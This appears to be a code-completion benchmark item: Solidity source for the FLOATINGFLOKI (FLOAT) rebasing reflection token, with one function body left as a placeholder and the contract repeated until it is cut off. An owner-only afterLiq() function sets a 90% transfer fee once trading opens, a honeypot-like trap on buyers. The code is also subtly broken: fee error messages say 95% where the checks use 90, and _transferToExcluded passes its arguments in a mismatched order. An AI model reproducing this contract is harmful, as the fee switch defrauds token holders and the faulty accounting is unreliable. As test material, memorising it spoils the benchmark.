_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function swapETHForTokens(uint256 amount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = _uniswapV2Router.WETH(); path[1] = address(this); // make the swap _uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 0, // accept any amount of Tokens path, BurnAddress, // Burn address block.timestamp.add(300) ); emit SwapETHForTokens(amount, path); } receive() external payable {} function addLiquidityForEth(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(_uniswapV2Router), tokenAmount); // add the liquidity _uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); uint256 TAmount = tAmount.mul(internalDecimals).div(FLOATScalingFactor); uint256 rAmount = TAmount.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); if(inSwapAndLiquify) { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } else if (_isUniswapPairAddress(recipient)) { uint256 fee = getSellBurn(TAmount); (uint256 rTransferAmount, uint256 rFYFee, uint256 rRewardFee) = _getRValues(rAmount, fee, currentRate); (uint256 tTransferAmount, uint256 tFYFee, uint256 tRewardFee) = _getTValues(TAmount, fee); _totalSupply = _totalSupply; _reflectFee(rFYFee, tFYFee); _transferStandardSell(sender, recipient, rTransferAmount, rRewardFee, tTransferAmount, tRewardFee); } else { if(!_isWhitelisted(sender, recipient)) { uint256 fee = getTxBurn(TAmount); (uint256 rTransferAmount, uint256 rFYFee, uint256 rRewardFee) = _getRValues(rAmount, fee, currentRate); (uint256 tTransferAmount, uint256 tFYFee, uint256 tRewardFee) = _getTValues(TAmount, fee); _totalSupply = _totalSupply; _reflectFee(rFYFee, tFYFee); _transferStandardTx(sender, recipient, rTransferAmount, rRewardFee, tTransferAmount, tRewardFee); } else { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } } } function _transferStandardSell(address sender, address recipient, uint256 rTransferAmount, uint256 rRewardFee, uint256 tTransferAmount, uint256 tRewardFee) private { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _rOwned[rewardAddress] = _rOwned[rewardAddress].add(rRewardFee); emit Transfer(sender, recipient, _scaling(tTransferAmount)); emit Transfer(sender, rewardAddress, _scaling(tRewardFee)); } function _transferStandardTx(address sender, address recipient, uint256 rTransferAmount, uint256 rRewardFee, uint256 tTransferAmount, uint256 tRewardFee) private { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _rOwned[rewardAddress] = _rOwned[rewardAddress].add(rRewardFee); emit Transfer(sender, recipient, _scaling(tTransferAmount)); emit Transfer(sender, rewardAddress, _scaling(tRewardFee)); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); uint256 TAmount = tAmount.mul(internalDecimals).div(FLOATScalingFactor); uint256 rAmount = TAmount.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); if(inSwapAndLiquify) { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } else if(_isUniswapPairAddress(recipient)) { uint256 fee = getSellBurn(TAmount); (, uint256 rFYFee, uint256 rRewardFee) = _getRValues(rAmount, fee, currentRate); (uint256 tTransferAmount, uint256 tFYFee, uint256 tRewardFee) = _getTValues(TAmount, fee); _totalSupply = _totalSupply; _reflectFee(rFYFee, tFYFee); _transferToExcludedSell(sender, recipient, rRewardFee, tTransferAmount, tRewardFee); } else { if(!_isWhitelisted(sender, recipient)) { uint256 fee = getTxBurn(TAmount); (, uint256 rFYFee, uint256 rRewardFee) = _getRValues(rAmount, fee, currentRate); (uint256 tTransferAmount, uint256 tFYFee, uint256 tRewardFee) = _getTValues(TAmount, fee); _totalSupply = _totalSupply; _reflectFee(rFYFee, tFYFee); _transferToExcludedSell(sender, recipient, rRewardFee, tTransferAmount, tRewardFee); } else { _tOwned[recipient] = _tOwned[recipient].add(TAmount); emit Transfer(sender, recipient, tAmount); } } } function _transferToExcludedSell (address sender, address recipient, uint256 tTransferAmount, uint256 rRewardFee, uint256 tRewardFee) private { _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[rewardAddress] = _rOwned[rewardAddress].add(rRewardFee); emit Transfer(sender, recipient, _scaling(tTransferAmount)); emit Transfer(sender, rewardAddress, _scaling(tRewardFee)); } function _transferToExcludedTx (address sender, address recipient, uint256 tTransferAmount, uint256 rRewardFee, uint256 tRewardFee) private { _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[rewardAddress] = _rOwned[rewardAddress].add(rRewardFee); emit Transfer(sender, recipient, _scaling(tTransferAmount)); emit Transfer(sender, rewardAddress, _scaling(tRewardFee)); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); uint256 TAmount = tAmount.mul(internalDecimals).div(FLOATScalingFactor); uint256 rAmount = TAmount.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); if(inSwapAndLiquify) { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } else if(_isUniswapPairAddress(recipient)) { uint256 fee = getSellBurn(TAmount); (uint256 rTransferAmount, uint256 rFYFee, uint256 rRewardFee) = _getRValues(rAmount, fee, currentRate); (uint256 tTransferAmount, uint256 tFYFee, uint256 tRewardFee) = _getTValues(TAmount, fee); _totalSupply = _totalSupply; _reflectFee(rFYFee, tFYFee); _transferFromExcludedSell(sender, recipient, rTransferAmount, rRewardFee, tTransferAmount, tRewardFee); } else { if(!_isWhitelisted(sender, recipient)) { uint256 fee = getTxBurn(TAmount); (uint256 rTransferAmount, uint256 rFYFee, uint256 rRewardFee) = _getRValues(rAmount, fee, currentRate); (uint256 tTransferAmount, uint256 tFYFee, uint256 tRewardFee) = _getTValues(TAmount, fee); _totalSupply = _totalSupply; _reflectFee(rFYFee, tFYFee); _transferFromExcludedTx(sender, recipient, rTransferAmount, rRewardFee, tTransferAmount, tRewardFee); } else { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } } } function _transferFromExcludedSell(address sender, address recipient, uint256 rTransferAmount, uint256 rRewardFee, uint256 tTransferAmount, uint256 tRewardFee) private { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _rOwned[rewardAddress] = _rOwned[rewardAddress].add(rRewardFee); emit Transfer(sender, recipient, _scaling(tTransferAmount)); emit Transfer(sender, rewardAddress, _scaling(tRewardFee)); } function _transferFromExcludedTx(address sender, address recipient, uint256 rTransferAmount, uint256 rRewardFee, uint256 tTransferAmount, uint256 tRewardFee) private { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _rOwned[rewardAddress] = _rOwned[rewardAddress].add(rRewardFee); emit Transfer(sender, recipient, _scaling(tTransferAmount)); emit Transfer(sender, rewardAddress, _scaling(tRewardFee)); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); uint256 TAmount = tAmount.mul(internalDecimals).div(FLOATScalingFactor); uint256 rAmount = TAmount.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); if(inSwapAndLiquify) { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } else if(_isUniswapPairAddress(recipient)) { uint256 fee = getSellBurn(TAmount); (uint256 rTransferAmount, uint256 rFYFee, uint256 rRewardFee) = _getRValues(rAmount, fee, currentRate); (uint256 tTransferAmount, uint256 tFYFee, uint256 tRewardFee) = _getTValues(TAmount, fee); _totalSupply = _totalSupply; _reflectFee(rFYFee, tFYFee); _transferBothExcludedSell(sender, recipient, rTransferAmount, rRewardFee, tTransferAmount, tRewardFee); } else { if(!_isWhitelisted(sender, recipient)) { uint256 fee = getTxBurn(TAmount); (uint256 rTransferAmount, uint256 rFYFee, uint256 rRewardFee) = _getRValues(rAmount, fee, currentRate); (uint256 tTransferAmount, uint256 tFYFee, uint256 tRewardFee) = _getTValues(TAmount, fee); _totalSupply = _totalSupply; _reflectFee(rFYFee, tFYFee); _transferBothExcludedTx(sender, recipient, rTransferAmount, rRewardFee, tTransferAmount, tRewardFee); } else { _rOwned[recipient] = _rOwned[recipient].add(rAmount); _tOwned[recipient] = _tOwned[recipient].add(TAmount); emit Transfer(sender, recipient, tAmount); } } } function _transferBothExcludedSell(address sender, address recipient, uint256 rTransferAmount, uint256 tTransferAmount, uint256 rRewardFee, uint256 tRewardFee) private { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[rewardAddress] = _rOwned[rewardAddress].add(rRewardFee); emit Transfer(sender, recipient, _scaling(tTransferAmount)); emit Transfer(sender, rewardAddress, _scaling(tRewardFee)); } function _transferBothExcludedTx(address sender, address recipient, uint256 rTransferAmount, uint256 tTransferAmount, uint256 rRewardFee, uint256 tRewardFee) private { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[rewardAddress] = _rOwned[rewardAddress].add(rRewardFee); emit Transfer(sender, recipient, _scaling(tTransferAmount)); emit Transfer(sender, rewardAddress, _scaling(tRewardFee)); } function _scaling(uint256 amount) private view returns (uint256) { uint256 scaledAmount = amount.mul(FLOATScalingFactor).div(internalDecimals); return(scaledAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function setBuybackUpperLimit(uint256 buyBackLimit) internal onlyOwner() { buyBackUpperLimit = buyBackLimit; } function setBuyBackEnabled(bool _enabled) public onlyOwner { buyBackEnabled = _enabled; emit BuyBackEnabledUpdated(_enabled); } function _getTValues(uint256 TAmount, uint256 fee) private view returns (uint256, uint256, uint256) { uint256 tFYFee = TAmount.div(FYFee); uint256 tRewardFee = fee; uint256 tTransferAmount = TAmount.sub(tFYFee).sub(tRewardFee); return (tTransferAmount, tFYFee, tRewardFee); } function _getRValues(uint256 rAmount, uint256 fee, uint256 currentRate) private view returns (uint256, uint256, uint256) { uint256 rFYFee = rAmount.div(FYFee); uint256 rRewardFee = fee.mul(currentRate); uint256 rTransferAmount = _getRValues2(rAmount, rFYFee, rRewardFee); return (rTransferAmount, rFYFee, rRewardFee); } function _getRValues2(uint256 rAmount, uint256 rFYFee, uint256 rRewardFee) private pure returns (uint256) {<FILL_FUNCTION_BODY> } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = initSupply; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, initSupply); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(initSupply)) return (_rTotal, initSupply); return (rSupply, tSupply); } function _setRewardAddress(address rewards_) external onlyOwner { rewardAddress = rewards_; } function setMarketingDivisor(uint256 divisor) external onlyOwner() { MarketingDivisor = divisor; } function setBuybackDivisor(uint256 divisor) external onlyOwner() { BuybackDivisor = divisor; } function setMarketingAddress(address _MarketingAddress) external onlyOwner() { MarketingAddress = payable(_MarketingAddress); } function setBuybackAddress(address _BuybackAddress) external onlyOwner() { BuybackAddress = payable(_BuybackAddress); } function afterLiq() external onlyOwner { swapAndLiquifyEnabled = false; SELL_FEE = 8; TX_FEE = 90; tradingEnabled = true; } function float() external onlyOwner { swapAndLiquifyEnabled = true; FYFee = 200; TX_FEE = 8; } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * * @dev The supply adjustment equals (totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is CpiOracleRate / baseCpi */ function rebase(uint256 epoch, uint256 indexDelta, bool positive) external onlyRebaser returns (uint256) { uint256 currentRate = _getRate(); if (!positive) { uint256 newScalingFactor = FLOATScalingFactor.mul(BASE.sub(indexDelta)).div(BASE); FLOATScalingFactor = newScalingFactor; _totalSupply = ((initSupply.sub(_rOwned[BurnAddress].div(currentRate)) .mul(FLOATScalingFactor).div(internalDecimals))); emit Rebase(epoch, FLOATScalingFactor); IUniswapV2Pair(uniswapETHPool).sync(); for (uint256 i = 0; i < futurePools.length; i++) { address futurePoolAddress = futurePools[i]; IUniswapV2Pair(futurePoolAddress).sync(); } return _totalSupply; } else { uint256 newScalingFactor = FLOATScalingFactor.mul(BASE.add(indexDelta)).div(BASE); if (newScalingFactor < _maxScalingFactor()) { FLOATScalingFactor = newScalingFactor; } else { FLOATScalingFactor = _maxScalingFactor(); } _totalSupply = ((initSupply.sub(_rOwned[BurnAddress].div(currentRate)) .mul(FLOATScalingFactor).div(internalDecimals))); emit Rebase(epoch, FLOATScalingFactor); IUniswapV2Pair(uniswapETHPool).sync(); for (uint256 i = 0; i < futurePools.length; i++) { address futurePoolAddress = futurePools[i]; IUniswapV2Pair(futurePoolAddress).sync(); } return _totalSupply; } } function getCurrentPairTokenAddress() public view returns(address) { return currentPairTokenAddress; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= 10**8 , 'FLOAT: maxTxAmount should be greater than 0.1 FLOAT'); _maxTxAmount = maxTxAmount; emit MaxTxAmountUpdated(maxTxAmount); } function _setMinTokensBeforeSwap(uint256 minTokensBeforeSwap) external onlyOwner() { require(minTokensBeforeSwap >= 1 * 10**9 && minTokensBeforeSwap <= 2000 * 10**9, 'FLOAT: minTokenBeforeSwap should be between 1 and 2000 FLOAT'); _minTokensBeforeSwap = minTokensBeforeSwap; emit MinTokensBeforeSwapUpdated(minTokensBeforeSwap); } function updateSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function _enableTrading() external onlyOwner() { tradingEnabled = true; TradingEnabled(); } }
contract FLOAT is Ownable, Rebasable { using FLOATSafeMath for uint256; using Address for address; IUniswapV2Router02 public immutable _uniswapV2Router; event Transfer(address indexed from, address indexed to, uint amount); event Approval(address indexed owner, address indexed spender, uint amount); event Rebase(uint256 indexed epoch, uint256 scalingFactor); event WhitelistFrom(address _addr, bool _whitelisted); event WhitelistTo(address _addr, bool _whitelisted); event UniswapPairAddress(address _addr, bool _whitelisted); string public name = "FLOATINGFLOKI"; string public symbol = "FLOAT"; uint8 public decimals = 9; address payable public MarketingAddress = payable(0x0d363028947CB033Aa7ed97D392d36A7E4e38559); // Marketing Address address payable public BuybackAddress = payable(0xD4F1F91c61aDe33f38560328D393A368E73C4b71); // Buyback Address address public BurnAddress = 0x000000000000000000000000000000000000dEaD; address public rewardAddress; /** * @notice Internal decimals used to handle scaling factor */ uint256 public constant internalDecimals = 10**9; /** * @notice Used for percentage maths */ uint256 public constant BASE = 10**9; /** * @notice Scaling factor that adjusts everyone's balances */ uint256 public FLOATScalingFactor = BASE; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) internal _allowedFragments; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping(address => bool) public whitelistFrom; mapping(address => bool) public whitelistTo; mapping(address => bool) public uniswapPairAddress; address private currentPoolAddress; address private currentPairTokenAddress; address public uniswapETHPool; address[] public futurePools; uint256 initSupply = 10**8 * 10**9; uint256 _totalSupply = 10**8 * 10**9; uint16 public SELL_FEE; uint16 public TX_FEE; uint256 private _tFeeTotal; uint256 private constant MAX = ~uint256(0); uint256 private _rTotal = (MAX - (MAX % _totalSupply)); uint16 public FYFee = 100; uint256 public _maxTxAmount = 10**6 * 10**9; uint256 public _minTokensBeforeSwap = 10000 * 10**9; uint256 public MarketingDivisor = 4; uint256 public BuybackDivisor = 4; uint256 private buyBackUpperLimit = 1 * 10**18; bool private inSwapAndLiquify; bool public swapAndLiquifyEnabled; bool public tradingEnabled; bool public buyBackEnabled = true; event MaxTxAmountUpdated(uint256 maxTxAmount); event TradingEnabled(); event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event RewardLiquidityProviders(uint256 tokenAmount); event BuyBackEnabledUpdated(bool enabled); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor(IUniswapV2Router02 uniswapV2Router) public Ownable() Rebasable() { _uniswapV2Router = uniswapV2Router; currentPoolAddress = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), uniswapV2Router.WETH()); currentPairTokenAddress = uniswapV2Router.WETH(); uniswapETHPool = currentPoolAddress; rewardAddress = address(this); updateSwapAndLiquifyEnabled(false); _rOwned[_msgSender()] = reflectionFromToken(_totalSupply, false); emit Transfer(address(0), _msgSender(), _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function getSellBurn(uint256 value) private view returns (uint256) { uint256 nPercent = value.mul(SELL_FEE).divRound(100); return nPercent; } function getTxBurn(uint256 value) private view returns (uint256) { uint256 nPercent = value.mul(TX_FEE).divRound(100); return nPercent; } function _isWhitelisted(address _from, address _to) internal view returns (bool) { return whitelistFrom[_from]||whitelistTo[_to]; } function _isUniswapPairAddress(address _addr) internal view returns (bool) { return uniswapPairAddress[_addr]; } function setWhitelistedTo(address _addr, bool _whitelisted) external onlyOwner { emit WhitelistTo(_addr, _whitelisted); whitelistTo[_addr] = _whitelisted; } function setTxFee(uint16 fee) external onlyOwner { require(fee < 90, 'FLOAT: Transaction fee should be less than 95%'); TX_FEE = fee; } function buyBackUpperLimitAmount() private view returns (uint256) { return buyBackUpperLimit; } function setFYFee(uint16 fee) external onlyOwner { require(fee > 2, 'FLOAT: Frictionless yield fee should be greater than 2%'); FYFee = fee; } function setSellFee(uint16 fee) external onlyOwner { require(fee < 90, 'FLOAT: Sell fee should be less than 95%'); SELL_FEE = fee; } function setWhitelistedFrom(address _addr, bool _whitelisted) external onlyOwner { emit WhitelistFrom(_addr, _whitelisted); whitelistFrom[_addr] = _whitelisted; } function setUniswapPairAddress(address _addr, bool _whitelisted) external onlyOwner { emit UniswapPairAddress(_addr, _whitelisted); uniswapPairAddress[_addr] = _whitelisted; } function maxScalingFactor() external view returns (uint256) { return _maxScalingFactor(); } function _maxScalingFactor() internal view returns (uint256) { // scaling factor can only go up to 2**256-1 = initSupply * FLOATScalingFactor // this is used to check if FLOATScalingFactor will be too high to compute balances when rebasing. return uint256(-1) / initSupply; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); // decrease allowance _approve(sender, _msgSender(), _allowedFragments[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function balanceOf(address account) public view returns (uint256) { if (_isExcluded[account]) return _tOwned[account].mul(FLOATScalingFactor).div(internalDecimals); uint256 tOwned = tokenFromReflection(_rOwned[account]); return _scaling(tOwned); } function balanceOfUnderlying(address account) external view returns (uint256) { return tokenFromReflection(_rOwned[account]); } function allowance(address owner_, address spender) external view returns (uint256) { return _allowedFragments[owner_][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _allowedFragments[msg.sender][spender] = _allowedFragments[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { uint256 oldValue = _allowedFragments[msg.sender][spender]; if (subtractedValue >= oldValue) { _allowedFragments[msg.sender][spender] = 0; } else { _allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "FLOAT: approve from the zero address"); require(spender != address(0), "FLOAT: approve to the zero address"); _allowedFragments[owner][spender] = amount; emit Approval(owner, spender, amount); } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); uint256 currentRate = _getRate(); uint256 TAmount = tAmount.mul(internalDecimals).div(FLOATScalingFactor); uint256 rAmount = TAmount.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _totalSupply, "Amount must be less than supply"); uint256 currentRate = _getRate(); uint256 TAmount = tAmount.mul(internalDecimals).div(FLOATScalingFactor); uint256 fee = getTxBurn(TAmount); uint256 rAmount = TAmount.mul(currentRate); if (!deductTransferFee) { return rAmount; } else { (uint256 rTransferAmount,,) = _getRValues(TAmount, fee, currentRate); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _rOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _rOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "FLOAT: cannot transfer from the zero address"); require(recipient != address(0), "FLOAT: cannot transfer to the zero address"); require(amount > 0, "FLOAT: Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner() && !inSwapAndLiquify) { require(amount <= _maxTxAmount, "FLOAT: Transfer amount exceeds the maxTxAmount."); if((_msgSender() == currentPoolAddress || _msgSender() == address(_uniswapV2Router)) && !tradingEnabled) require(false, "FLOAT: trading is disabled."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= _minTokensBeforeSwap; if (!inSwapAndLiquify && swapAndLiquifyEnabled && recipient == currentPoolAddress) { if (overMinimumTokenBalance) { contractTokenBalance = _minTokensBeforeSwap; swapTokens(contractTokenBalance); } uint256 balance = address(this).balance; if (buyBackEnabled && balance > uint256(1 * 10**18)) { if (balance > buyBackUpperLimit) balance = buyBackUpperLimit; buyBackTokens(balance.mul(1)); } } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function swapTokens(uint256 contractTokenBalance) private lockTheSwap { uint256 initialBalance = address(this).balance; swapTokensForEth(contractTokenBalance); uint256 transferredBalance = address(this).balance.sub(initialBalance); //Send to Marketing and Buyback contract transferToAddressETH(MarketingAddress, transferredBalance.div(SELL_FEE).mul(MarketingDivisor)); transferToAddressETH(BuybackAddress, transferredBalance.div(SELL_FEE).mul(BuybackDivisor)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function buyBackTokens(uint256 amount) private lockTheSwap { if (amount > 0) { swapETHForTokens(amount); } } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); // make the swap _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function swapETHForTokens(uint256 amount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = _uniswapV2Router.WETH(); path[1] = address(this); // make the swap _uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 0, // accept any amount of Tokens path, BurnAddress, // Burn address block.timestamp.add(300) ); emit SwapETHForTokens(amount, path); } receive() external payable {} function addLiquidityForEth(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(_uniswapV2Router), tokenAmount); // add the liquidity _uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); uint256 TAmount = tAmount.mul(internalDecimals).div(FLOATScalingFactor); uint256 rAmount = TAmount.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); if(inSwapAndLiquify) { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } else if (_isUniswapPairAddress(recipient)) { uint256 fee = getSellBurn(TAmount); (uint256 rTransferAmount, uint256 rFYFee, uint256 rRewardFee) = _getRValues(rAmount, fee, currentRate); (uint256 tTransferAmount, uint256 tFYFee, uint256 tRewardFee) = _getTValues(TAmount, fee); _totalSupply = _totalSupply; _reflectFee(rFYFee, tFYFee); _transferStandardSell(sender, recipient, rTransferAmount, rRewardFee, tTransferAmount, tRewardFee); } else { if(!_isWhitelisted(sender, recipient)) { uint256 fee = getTxBurn(TAmount); (uint256 rTransferAmount, uint256 rFYFee, uint256 rRewardFee) = _getRValues(rAmount, fee, currentRate); (uint256 tTransferAmount, uint256 tFYFee, uint256 tRewardFee) = _getTValues(TAmount, fee); _totalSupply = _totalSupply; _reflectFee(rFYFee, tFYFee); _transferStandardTx(sender, recipient, rTransferAmount, rRewardFee, tTransferAmount, tRewardFee); } else { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } } } function _transferStandardSell(address sender, address recipient, uint256 rTransferAmount, uint256 rRewardFee, uint256 tTransferAmount, uint256 tRewardFee) private { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _rOwned[rewardAddress] = _rOwned[rewardAddress].add(rRewardFee); emit Transfer(sender, recipient, _scaling(tTransferAmount)); emit Transfer(sender, rewardAddress, _scaling(tRewardFee)); } function _transferStandardTx(address sender, address recipient, uint256 rTransferAmount, uint256 rRewardFee, uint256 tTransferAmount, uint256 tRewardFee) private { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _rOwned[rewardAddress] = _rOwned[rewardAddress].add(rRewardFee); emit Transfer(sender, recipient, _scaling(tTransferAmount)); emit Transfer(sender, rewardAddress, _scaling(tRewardFee)); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); uint256 TAmount = tAmount.mul(internalDecimals).div(FLOATScalingFactor); uint256 rAmount = TAmount.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); if(inSwapAndLiquify) { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } else if(_isUniswapPairAddress(recipient)) { uint256 fee = getSellBurn(TAmount); (, uint256 rFYFee, uint256 rRewardFee) = _getRValues(rAmount, fee, currentRate); (uint256 tTransferAmount, uint256 tFYFee, uint256 tRewardFee) = _getTValues(TAmount, fee); _totalSupply = _totalSupply; _reflectFee(rFYFee, tFYFee); _transferToExcludedSell(sender, recipient, rRewardFee, tTransferAmount, tRewardFee); } else { if(!_isWhitelisted(sender, recipient)) { uint256 fee = getTxBurn(TAmount); (, uint256 rFYFee, uint256 rRewardFee) = _getRValues(rAmount, fee, currentRate); (uint256 tTransferAmount, uint256 tFYFee, uint256 tRewardFee) = _getTValues(TAmount, fee); _totalSupply = _totalSupply; _reflectFee(rFYFee, tFYFee); _transferToExcludedSell(sender, recipient, rRewardFee, tTransferAmount, tRewardFee); } else { _tOwned[recipient] = _tOwned[recipient].add(TAmount); emit Transfer(sender, recipient, tAmount); } } } function _transferToExcludedSell (address sender, address recipient, uint256 tTransferAmount, uint256 rRewardFee, uint256 tRewardFee) private { _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[rewardAddress] = _rOwned[rewardAddress].add(rRewardFee); emit Transfer(sender, recipient, _scaling(tTransferAmount)); emit Transfer(sender, rewardAddress, _scaling(tRewardFee)); } function _transferToExcludedTx (address sender, address recipient, uint256 tTransferAmount, uint256 rRewardFee, uint256 tRewardFee) private { _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[rewardAddress] = _rOwned[rewardAddress].add(rRewardFee); emit Transfer(sender, recipient, _scaling(tTransferAmount)); emit Transfer(sender, rewardAddress, _scaling(tRewardFee)); } function _transferFromExcluded(address sender, address recipient, uint256 